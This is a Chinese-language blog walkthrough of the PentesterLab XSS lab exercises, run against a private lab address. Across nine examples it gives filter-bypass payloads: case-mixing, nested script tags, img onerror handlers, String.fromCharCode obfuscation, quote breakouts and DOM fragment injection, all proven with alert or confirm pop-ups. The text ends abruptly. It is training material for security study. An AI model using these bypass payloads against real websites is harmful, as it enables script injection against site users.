SecPark   SecPark

Welcome to SecPark!

pentesterlab之XSS漏洞分析 有更新!

example1:(未做任何过滤)

    使用如下代码进行测试:

<script> alert(123) </script>

分析:

example2:(仅过滤了script)

  [http://192.168.40.132/xss/example2.php?name=hacker]

由上图可见和标签被过滤,针对此种情况的过滤可以尝试将将部分字母改为大大写。使用如下代码测试结果:

<scRipt> alert(123) </sCript>

查看页面源码发现,语句被成功写入:

example3(过滤了script(含大小写))

[http://192.168.40.132/xss/example3.php?name=hacker]

在此链接中仍使用

<script> alert(123) </script>

<scRipt> alert(123) </scrIpt>

语句发现标签均被过滤掉,

在此对标签进行拼装 使其过滤掉标签之后余下的拼装标签仍为正常的标签

<scrip<script>t>alert(1)</scrip</script>t>

观察源码发现,当其过滤掉和之后,我们拼接的语句中正好剩下真正的标签和。

由此反观例二,此语句异能实现攻击。

example4(过滤了所有的script元素)

使用

http://192.168.40.132/xss/example4.php?name=hacker <scrpit> alert(123) </script>

http://192.168.40.132/xss/example4.php?name=hacker  alert(123) 
http://192.168.40.132/xss/example4.php?name=<img src="1"onerror=alert('xss')>

example5(过滤了script(大小写)、alert标签)

  首先使用name=标签,显示正常,可知没有过滤标签。

  然后补全标签内容

<img src="1" onerror="alert('xss')">

,然后页面出现error错误,可知对alert进行了过滤。

此时可以尝试换一个弹窗的方式,

confirm:<img src="1" onerror="confirm('xss')">

弹窗成功,如需下图所示:

   

  思考:

  针对此种黑名单过滤,只需绕过其过滤的标签即可,针对具体的代码,仍然有很多种实现方式

  如;

name=<img src="1"  onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

                                                                                                                      ( a l e r t ( ’ a ’ ) )

  由于ASIIC编码在js中可以被直接执行,所以针对其过滤,可以将字母转化为ASIIC编码,仍然可弹窗。

example6

  输入

name=<img src="1"  onerror="confirm('xss')">

查看其源码发现,将内容输出在了script标签中:

  针对此种情况,分析源码,首先想到的是闭合双引号,为$a赋值,然后在后面拼接弹窗的语句,在进行弹窗。使用

name=abc";alert('xss');"或者name=abc";alert($a);"

,如下图所示:

example7

http://192.168.40.132/xss/example7.php?name=hacker

  观察分析起源码发现,其和example6相比较将双引号换成了单引号

  

    因此在此处尝试将单引号闭合进行测试。 使用如下代码语句进行注入:

name=hacker';alert($a);'

页面源码:

使用如下代码注入亦可:

name=abc';eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41));'

example8

  

  http://192.168.40.132/xss/example8.php

查看其源码使改例子使用的是post传参,分析源码,其form表单的url可以进行构造。将其form标签闭合

构造如下语句进行注入:/">alert(1);

  再反观其源码,发现form标签被闭合,成功插入攻击代码。

example9

    http://192.168.40.132/xss/example9.php#hacker

分析其源码发现,其调用了document函数截取#后面内容然后显示在页面上。

因此可以尝试直接构造注入语句。 alert(‘xss’)

但是此例子在firefox中所有的<>均被编译,

validate